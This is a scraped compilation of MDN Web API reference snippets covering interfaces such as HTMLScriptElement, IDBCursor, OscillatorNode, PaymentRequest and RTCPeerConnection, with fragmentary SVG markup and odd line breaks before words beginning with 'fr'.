arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlquoteelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits properties
from its parent, htmlelement.
... recommendation no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLScriptElement - Web APIs
rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
...for scripts
from other origins, this controls if error information will be exposed.
... methods no specific methods; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLSelectElement - Web APIs
it is false if any conditions bar it
from constraint validation.
... htmlselectelement.blur() removes input focus
from this element.
... htmlselectelement.item() gets an item
from the options collection for this <select> element.
... htmlselectelement.remove() removes the element at the specified index
from the options collection for this select element.
HTMLSlotElement.name - Web APIs
examples the following snippet is taken
from our slotchange example (see it live also).
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
...for androidopera for androidsafari on iossamsung internetname experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
... full support 10.1webview android full support 53chrome android full support 53firefox android full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
HTMLTableCellElement - Web APIs
t="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecellelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
...'.' for english, or ',' for
french.
... living standard no change
from html5.
HTMLTableColElement - Web APIs
et="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... living standard no change
from html5.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltablecolelement' in that specification.
HTMLUnknownElement - Web APIs
the htmlunknownelement interface represents an invalid html element and derives
from the htmlelement interface, but without implementing any additional properties or methods.
...1" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlunknownelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties no specific property; inherits properties
from its parent, htmlelement.
... methods no specific method; inherits properties
from its parent, htmlelement.
... living standard no change
from html5.
HTMLVideoElement.msZoom - Web APIs
mszoom is a read/write property which gets or sets whether the video
frame is trimmed, on the top and bottom or left and right, to fit the video display.
... syntax htmlvideoelement.mszoom; value boolean value set to true trims the video
frame to the display space.
... set to false the video
frame uses letter box or pillarbox to display video.
... if the native aspect ratio of a video
frame, which is defined by the videowidth and videoheight attributes, does not match the aspect ratio of the video tag, which is defined by the width and height attributes, the video is rendered with letterbox or pillarbox format.
File drag and drop - Web APIs
this document describes how an application can accept one or more files that are dragged
from the underlying platform's file manager and dropped on a web page.
...in this example, the drop target element uses the following styling: #drop_zone { border: 5px solid blue; width: 200px; height: 100px; } note that dragstart and dragend events are not fired when dragging a file into the browser
from the os.
... function drophandler(ev) { console.log('file(s) dropped'); // prevent default behavior (prevent file
from being opened) ev.preventdefault(); if (ev.datatransfer.items) { // use datatransferitemlist interface to access the file(s) for (var i = 0; i < ev.datatransfer.items.length; i++) { // if dropped items aren't files, reject them if (ev.datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('...
... function dragoverhandler(ev) { console.log('file(s) in drop zone'); // prevent default behavior (prevent file
from being opened) ev.preventdefault(); } see also html drag and drop api drag operations html5 living standard: drag and drop ...
Recommended Drag Types - Web APIs
updates to datatransfer.types the latest spec dictates that datatransfer.types should return a
frozen array of domstrings rather than a domstringlist (this is supported in firefox 52 and above).
... it is important to set the data in the right order,
from most-specific to least-specific.
...this allows the drop target to receive the actual node where the drag was started
from.
... note that callers
from a different domain will not be able to access the node even when it has been dropped.
Headers - Web APIs
these actions include retrieving, setting, adding to, and removing headers
from the list of the request's headers.
... headers.delete() deletes a header
from a headers object.
... note: when header values are iterated over, they are automatically sorted in lexicographical order, and values
from duplicate header names are combined.
... obsolete methods headers.getall() used to return an array of all the values of a header within a headers object with a given name; this method has now been deleted
from the spec, and headers.get() now returns all values of a given name instead of just the first one.
IDBCursor.update() - Web APIs
be aware that you can't call update() (or idbcursor.delete()) on cursors obtained
from idbindex.openkeycursor().
... example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursorWithValue - Web APIs
ue" target="_top"><rect x="131" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbcursorwithvalue</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} methods inherits methods
from its parent interface, idbcursor.
... properties inherits properties
from its parent interface, idbcursor.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBFactory.open() - Web APIs
if the operation is successful, a success event is fired on the request object that is returned
from this method, with its result attribute set to the new idbdatabase object for the connection.
... if an error occurs while the database connection is being opened, then an error event is fired on the request object returned
from this method.
... warning: the storage attribute is deprecated and will soon be removed
from gecko.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.createIndex() - Web APIs
note that this method must be called only
from a versionchange transaction mode callback.
... invalidstateerror occurs if either: the method was not called
from a versionchange transaction mode callback, i.e.
...
from inside a idbopendbrequest.onupgradeneeded handler.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBRequest - Web APIs
the interface idbopendbrequest is derived
from idbrequest.
... target="_top"><rect x="151" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties
from eventtarget.
...this property can be null for certain requests, for example those returned
from idbfactory.open unless an upgrade is needed.
... methods no methods, but inherits methods
from eventtarget.
IDBTransaction - Web APIs
an explicit abort() call
from script.
... methods inherits
from: eventtarget idbtransaction.abort() rolls back all the changes to objects in the database associated with this transaction.
...commit() can be used to start the commit process without waiting for events
from outstanding requests to be dispatched.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IIRFilterNode - Web APIs
properties this interface has no properties of its own; however, it inherits properties
from its parent, audionode.
... methods inherits methods
from its parent, audionode.
... it also has the following additional methods: get
frequencyresponse() uses the filter's current parameter settings to calculate the response for
frequencies specified in the provided array of
frequencies.
...it includes some different coefficient values for different lowpass
frequencies — you can change the value of the filternumber constant to a value between 0 and 3 to check out the different available effects.
InstallEvent - Web APIs
this interface inherits
from the extendableevent interface.
... properties inherits properties
from its ancestor, event.
... methods inherits methods
from its parent, extendableevent.
... examples this code snippet is
from the service worker prefetch sample (see prefetch running live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall and delays treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully.
KeyboardEvent.code - Web APIs
html <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>re
fresh();</script> css .world { margin: 0px; padding: 0px; background-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some variables we'll be using.
... function updateposition(offset) { let rad = angle * (math.pi/180); position.x += (math.sin(rad) * offset); position.y -= (math.cos(rad) * offset); if (position.x < 0) { position.x = 399; } else if (position.x > 399) { position.x = 0; } if (position.y < 0) { position.y = 399; } else if (position.y > 399) { position.y = 0; } } the re
fresh() function handles applying the rotation and position by using an svg transform.
... function re
fresh() { let x = position.x - (shipsize.width/2); let y = position.y - (shipsize.height/2); let transform = "translate(" + x + " " + y + ") rotate(" + angle + " 15 15) "; spaceship.setattribute("transform", transform); } finally, the addeventlistener() method is used to start listening for keydown events, acting on each key by updating the ship position and rotation angle, then calling re
fresh() to draw the ship at its new position and angle.
...: // handle "back" updateposition(-moverate); break; case "keyw": case "arrowup": // handle "forward" updateposition(moverate); break; case "keya": case "arrowleft": // handle "turn left" angle -= turnrate; break; case "keyd": case "arrowright": // handle "turn right" angle += turnrate; break; } re
fresh(); // consume the event so it doesn't get handled twice event.preventdefault(); }, true); try it out to ensure that keystrokes go to the sample code, click inside the black game play field below before pressing keys.
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
syntax var linearaccelerationsensor = new linearaccelerationsensor([options]) parameters options optional options are as follows:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends on device hardware and consequently may be less than requested.
... reference
frame: either 'device' or 'screen'.
LocalFileSystemSync - Web APIs
basic concepts you can request access to a sandboxed file system by requesting localfilesystemsync object
from within a web worker.
...you access a sandboxed file system by requesting a localfilesystemsync object
from within a web worker using this global method, window.requestfilesystemsync().
...for example, you cannot run
from file://.
... browser compatibility the compatibility table on this page is generated
from structured data.
Magnetometer.Magnetometer() - Web APIs
syntax var magnetometer = new magnetometer([options]) parameters options optional options are as follows:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends on device hardware and consequently may be less than requested.
... reference
frame: either 'device' or 'screen'.
MediaElementAudioSourceNode - Web APIs
properties inherits properties
from its parent, audionode.
... methods inherits methods
from its parent, audionode.
... example this simple example creates a source
from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for playback.
...lement.scrolltop : document.body.scrolltop); gainnode.gain.value = cury/height; } // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(gainnode); gainnode.connect(audioctx.destination); note: as a consequence of calling createmediaelementsource(), audio playback
from the htmlmediaelement will be re-routed into the processing graph of the audiocontext.
MediaStream.onremovetrack - Web APIs
this happens when a track of any kind is removed
from the media stream.
... this event is fired when the browser removes a track
from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... the removetrack event does not get fired when javascript code explicitly removes tracks
from the stream (by calling removetrack()).
... example this example adds a listener which, when a track is removed
from the stream, logs the track that was removed.
MediaStreamAudioSourceNode() - Web APIs
note: another way to create a mediastreamaudiosourcenode is to call theaudiocontext.createmediastreamsource() method, specifying the stream
from which you want to obtain audio.
... options a mediastreamaudiosourceoptions object defining the properties you want the mediastreamaudiosourcenode to have: mediastream a required property which specifies the mediastream
from which to obtain audio for the node.
... return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained
from the specified source stream.
... examples this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode
from its mediastream.
MessagePort.postMessage() - Web APIs
the postmessage() method of the messageport interface sends a message
from the port, and optionally, transfers ownership of objects to other browsing contexts.
...when the i
frame has loaded, we pass messagechannel.port2 to the i
frame using window.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back
from the i
frame using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives.
... var channel = new messagechannel(); var para = document.queryselector('p'); var i
fr = document.queryselector('i
frame'); var otherwindow = i
fr.contentwindow; i
fr.addeventlistener("load", i
frameloaded, false); function i
frameloaded() { otherwindow.postmessage('hello
from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MouseEvent.pageX - Web APIs
for example, if the page is scrolled such that 200 pixels of the left side of the document are scrolled out of view, and the mouse is clicked 100 pixels inward
from the left edge of the view, the value returned by pagex will be 300.
... syntax var pagex = mouseevent.pagex; value a floating-point number of pixels
from the left edge of the document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect.
...since this example is presented in an <i
frame>, that top-left corner is the top-left corner of the
frame, not the browser window.
... working draft redefined
from long to double.
MutationObserver.observe() - Web APIs
there are some caveats to note: if you call observe() on a node that's already being observed by the same mutationobserver, all existing observers are automatically removed
from all targets being observed before the new observer is activated.
...if you begin watching a subtree of nodes, and a portion of that subtree is detached and moved elsewhere in the dom, you continue to watch the detached segment of nodes, receiving the same callbacks as before the nodes were detached
from the original subtree.
... in other words, until you've been notified that nodes are being split off
from your monitored subtree, you'll get notifications of changes to that split-off subtree and its nodes.
... this prevents you
from missing changes that occur after the connection is severed and before you have a chance to specifically begin monitoring the moved node or subtree for changes.
Web-based protocol handlers - Web APIs
an example is the mailto: protocol: <a href="mailto:webmaster@example.com">web master</a> web authors can use a mailto: link when they want to provide a convenient way for users to send an email, directly
from the webpage.
... the user
friendly name for the protocol handler.
...the browser extracts the href
from the activated link, combines it with the url template supplied during handler registration and performs an http get on the url.
...this means the server side code will have to parse out the protocol
from the data.
Navigator.registerProtocolHandler() - Web APIs
note: the title has been removed
from the spec due to spoofing concerns, but all current browsers still require it.
... the browser requires that this function is called
from a secure context.
... syntaxerror the %s placeholder is missing
from the handler url.
... this script must be run
from the same origin as the handler url (so any page at https://burgers.example.com), and the handler url must be http or https.
Navigator - Web APIs
navigator.keyboard read only returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses
from the physical keyboard.
... navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and prevent screen
from dimming, turning off, or showing a screen saver.
... navigator.webkitnotification returns a notification object you can use to deliver notifications to the user
from your web application.
... navigator.sendbeacon() used to asynchronously transfer a small amount of data using http
from the user agent to a web server.
Node.insertBefore() - Web APIs
if the given node already exists in the document, insertbefore() moves it
from its current position to the new position.
... (that is, it will automatically be removed
from its existing parent before appending it to the specified new parent.) this means that a node cannot be in two locations of the document simultaneously.
... if the given child is a document
fragment, the entire contents of the document
fragment are moved into the child list of the specified parent node.
... return value returns the added child (unless newnode is a document
fragment, in which case the empty document
fragment is returned).
Node.removeChild() - Web APIs
the node.removechild() method removes a child node
from the dom and returns the removed node.
... syntax var oldchild = node.removechild(child); or node.removechild(child); child is the child node to be removed
from the dom.
... in the second syntax form, however, there is no oldchild reference kept, so assuming your code has not kept any other reference to the node elsewhere, it will immediately become unusable and irretrievable, and will usually be automatically deleted
from memory after a short time.
...move a specified element when knowing its parent node: let d = document.getelementbyid("top"); let d_nested = document.getelementbyid("nested"); let throwawaynode = d.removechild(d_nested); to remove a specified element without having to specify its parent node: let node = document.getelementbyid("nested"); if (node.parentnode) { node.parentnode.removechild(node); } to remove all children
from an element: let element = document.getelementbyid("top"); while (element.firstchild) { element.removechild(element.firstchild); } causing a typeerror <!--sample html code--> <div id="top"> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // throws uncaught typeerror let garbage = top.removechild(nest...
Node.textContent - Web APIs
differences
from innertext don't get confused by the differences between node.textcontent and htmlelement.innertext.
...(reflows can be computationally expensive, and thus should be avoided when possible.) unlike textcontent, altering innertext in internet explorer (version 11 and below) removes child nodes
from the element and permanently destroys all descendant text nodes.
... differences
from innerhtml element.innerhtml returns html, as its name indicates.
... examples given this html
fragment: <div id="diva">this is <span>some</span> text!</div> ...
NodeList - Web APIs
it can also be converted to a real array using array.
from().
... however, some older browsers have not implemented nodelist.foreach() nor array.
from().
...(in this case, the keys are numbers starting
from 0 and the values are nodes.) nodelist.foreach() executes a provided function once per nodelist element, passing the element as an argument to the function.
...(in this case, the keys are numbers starting
from 0.) nodelist.values() returns an iterator allowing code to go through all values (nodes) of the key/value pairs contained in the collection.
Notification - Web APIs
notification.requestpermission() requests permission
from the user to display notifications.
...the notification object also inherits
from the eventtarget interface.
...} we no longer show a live sample on this page, as chrome and firefox no longer allow notification permissions to be requested
from cross-origin <i
frame>s, with other browsers to follow.
...firefox is already doing this
from version 72, for example.
NotificationEvent - Web APIs
this interface inherits
from the extendableevent interface.
... properties inherits properties
from its ancestor, event.
... methods inherits methods
from its parent, extendableevent.
... browser compatibility the compatibility table on this page is generated
from structured data.
OfflineAudioContext.OfflineAudioContext() - Web APIs
length an integer specifying the size of the buffer to create for the audio context, in sample-
frames, where one sample-
frame is a unit that can contain a single sample of audio data for every channel in the audio data.
... for example, a 5-second buffer with a samplerate of 48000hz would have a length of 5 * 48000 = 240000 sample-
frames.
... samplerate the sample-rate of the linear audio data in sample-
frames per second.
...for more detail, read audio buffers:
frames, samples and channels
from our basic concepts guide.
OfflineAudioContext - Web APIs
the offlineaudiocontext interface is an audiocontext interface representing an audio-processing graph built
from linked together audionodes.
... properties also inherits properties
from its parent interface, baseaudiocontext.
... offlineaudiocontext.length read only an integer representing the size of the buffer in sample-
frames.
... methods also inherits methods
from its parent interface, baseaudiocontext.
OffscreenCanvas.getContext() - Web APIs
see bug 801176 for canvas 2d api support
from workers.
... (gecko only) willread
frequently: boolean that indicates whether or not a lot of read-back operations are planned.
... this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata()
frequently.
... this option is only available, if the flag gfx.canvas.willread
frequently.enable is set to true (which, by default, is only the case for b2g/firefox os).
OrientationSensor - Web APIs
instead it provides properties and methods accessed by interfaces that inherit
from it.
... examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a
frequency of 60 times a second.
... const options = {
frequency: 60, reference
frame: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... model.quaternion.
fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
OscillatorNode.OscillatorNode() - Web APIs
syntax var oscillatornode = new oscillatornode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
...any properties omitted
from the object will take on the default value as documented.
... detune a detuning value (in cents) which will offset the
frequency by the given amount.
...
frequency the
frequency (in hertz) of the periodic waveform.
OscillatorNode - Web APIs
it is an audioscheduledsourcenode audio-processing module that causes a specified
frequency of a given wave to be created—in effect, a constant tone.
... properties inherits properties
from its parent, audioscheduledsourcenode, and adds the following properties: oscillatornode.
frequency an a-rate audioparam representing the
frequency of oscillation in hertz (though the audioparam returned is read-only, the value it represents is not).
... methods inherits methods
from its parent, audioscheduledsourcenode, and adds the following: oscillatornode.setperiodicwave() sets a periodicwave which describes a periodic waveform to be used instead of one of the standard waveforms; calling this sets the type to custom.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.
frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition of 'oscillatornode' in that specification.
PaymentRequest.PaymentRequest() - Web APIs
id optional a
free-form identifier for this payment request.
... shippingoptions the shipping options the user may choose
from.
... request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... }) .catch(function(err) { // do something with the error
from request.show().
PaymentRequest.canMakePayment() - Web APIs
parameters none examples in the following example, is excerpted
from a demo that asynchronously builds a paymentrequest object for both apple pay and credit cards.
... browser compatibility the compatibility table on this page is generated
from structured data.
...pera for androidsafari on iossamsung internetcanmakepayment()chrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.prototype.id - Web APIs
const details = { id: "super-store-order-123-12312", total: { label: "total due", amount: { currency: "usd", value: "65.00" }, }, }; const request = new paymentrequest(methoddata, details); console.log(request.id); // super-store-order-123-12312 the id is then also available in the paymentresponse returned
from the show() method, but under the requestid attribute.
... browser compatibility the compatibility table on this page is generated
from structured data.
...x for androidopera for androidsafari on iossamsung internetidchrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 60firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentResponse.complete() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...droidopera for androidsafari on iossamsung internetcomplete()chrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... no support nosafari full support yeswebview android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled
from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome, visit chrome://flags.firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentResponse.payerEmail - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...droidopera for androidsafari on iossamsung internetpayeremailchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... no support nosafari full support yeswebview android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled
from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome, visit chrome://flags.firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentResponse.requestId - Web APIs
the requestid read-only property of the paymentresponse interface rreturns the
free-form identifier supplied by the paymentresponse() constructor by details.id.
... browser compatibility the compatibility table on this page is generated
from structured data.
...ndroidopera for androidsafari on iossamsung internetrequestidchrome full support 61edge full support 16firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...ort yeswebview android no support nochrome android full support 60firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentResponse.shippingOption - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...dopera for androidsafari on iossamsung internetshippingoptionchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... no support nosafari full support yeswebview android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled
from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome, visit chrome://flags.firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
Payment Request API - Web APIs
a browser can also sync these "credentials" across devices, making it easy for users to jump
from desktop to mobile and back again when buying things.
...the browser can automatically suggest which card to use based on past usage patterns or restrictions
from the merchant (e.g, "we only accept visa or mastercard"), or allow the user to say which is their default/favorite card.
... note: the api is available inside cross-origin <i
frame> elements only if they have had the allowpaymentrequest attribute set on them.
... paymentmethodchangeevent represents the user changing payment instrument (e.g., switching
from a credit card to debit card).
performance.clearMeasures() - Web APIs
the clearmeasures() method removes the named measure
from the browser's performance entry buffer.
... if the method is called with no arguments, all performance entries with an entry type of "measure" will be removed
from the performance entry buffer.
...performance.measure("
from navigation"); performance.mark("a"); performance.measure("
from mark a", "a"); performance.measure("
from navigation"); performance.measure("
from mark a", "a"); performance.mark("b"); performance.measure("between a and b", "a", "b"); logmeasurecount() // "found this many entries: 5" // delete just the "
from navigation" performancemeasure entries.
... performance.clearmeasures("
from navigation"); logmeasurecount() // "found this many entries: 3" // delete all of the performancemeasure entries.
Performance - Web APIs
performance.navigation read only a legacy performancenavigation object that provides useful context about the operations included in the times listed in timing, including whether the page was a load or a re
fresh, how many redirections occurred, and so forth.
... performance.clearmarks() removes the given mark
from the browser's performance entry buffer.
... performance.clearmeasures() removes the given measure
from the browser's performance entry buffer.
... performance.clearresourcetimings() removes all performance entries with a entrytype of "resource"
from the browser's performance data buffer.
PerformanceResourceTiming - Web APIs
performanceresourcetiming.requeststartread only a domhighrestimestamp immediately before the browser starts requesting the resource
from the server.
... performanceresourcetiming.responsestartread only a domhighrestimestamp immediately after the browser receives the first byte of the response
from the server.
... performanceresourcetiming.encodedbodysizeread only a number representing the size (in octets) received
from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... performanceresourcetiming.decodedbodysizeread only a number that is the size (in octets) received
from the fetch (http or cache) of the message body, after removing any applied content-codings.
Performance API - Web APIs
the interfaces support a number of use cases including calculating
frame-rates (potentially important in animations) and benchmarking (such as the time to load a resource).
... the navigation property returns a performancenavigation object representing the type of navigation that occurs in the given browsing context, such as the page was navigated to
from history, the page was navigated to by following a link, etc.
... performance
frametiming provides methods and properties containing
frame timing data about the browser's event loop.
...
frame timing draft adds performance
frametiming interface.
PointerEvent - Web APIs
properties this interface inherits properties
from mouseevent and event.
...if you use pointer events, you should call event.preventdefault() to keep the mouse event
from being sent as well.
... pointerenter this event is fired when a pointing device is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event
from a device that does not support hover (see pointerdown).
...for mouse, it is fired when the device transitions
from no buttons depressed to at least one button depressed.
PublicKeyCredential.response - Web APIs
the response read-only property of the publickeycredential interface is an authenticatorresponse object which is sent
from the authenticator to the user agent for the creation/fetching of credentials.
... note: this property may only be used in top-level contexts and will not be available in an <i
frame> for example.
...this object contains data
from the client (authenticatorresponse/clientdatajson) and
from the authenticator.
... examples var options = { challenge: new uint8array(16) /*
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /*
from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).catch(function (err) { // deal with any error }); specifications specification status comment ...
RTCIceTransport.state - Web APIs
this differs
from the gatheringstate, which only indicates whether or not ice gathering is currently underway.
... the transport may revert
from the "connected" state to the "checking" state if either peer decides to cancel consent to use the selected candidate pair, and may revert to "disconnected" if there are no candidates left to check but one or both clients are still gathering candidates.
... "completed" the transport has finished gathering local candidates and has received a notification
from the remote peer that no more candidates will be sent.
... "failed" the rtcicetransport has finished the gathering process, has received the "no more candidates" notification
from the remote peer, and has finished checking pairs of candidates, without successfully finding a pair that is both valid and for which consent can be obtained.
RTCOutboundRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded video data has been lost for one or more
frames.
...these are sent by the receiver's decoder to notify the sender's encoder that an undefined amount of coded video data, which may span
frame boundaries, has been lost.
... usage notes upon receiving a pli packet, the sender may have responded by sending a full
frame to the remote peer to allow it to re-synchronize with the media.
...this is often achieved by methods such as increasing the compression or lowering resolution, although the mechanisms available to reduce the bit rate of the stream vary
from codec to codec.
RTCPeerConnection.createAnswer() - Web APIs
the createanswer() method on the rtcpeerconnection interface creates an sdp answer to an offer received
from a remote peer during the offer/answer negotiation of a webrtc connection.
... example here is a segment of code taken
from the code that goes with the article signaling and video calling.
... this code comes
from the handler for the message sent to carry an offer to another peer across the signaling channel.
... see handling the invitation in signaling and video calling to see the complete code, in context,
from which this snippet is derived; that will help you understand the signaling process and how answers work.
RTCPeerConnection.getStats() - Web APIs
this version of getstats() is obsolete; in addition, the data it returns is entirely different
from the current specification, and the form of that data was never documented.
... this form of getstats() has been or will soon be removed
from most browsers; you should not use it, and should update existing code to use the new promise-based version.
...no output is expected
from the function.
...no return value is expected
from the callback.
RTCPeerConnection.setRemoteDescription() - Web APIs
this is typically called after receiving an offer or answer
from another peer over the signaling server.
...this value is an offer or answer received
from the remote peer through your implementation of the sessiondescription parameter is technically of type rtcsessiondescriptioninit, but because rtcsessiondescription serializes to be indistinguishable
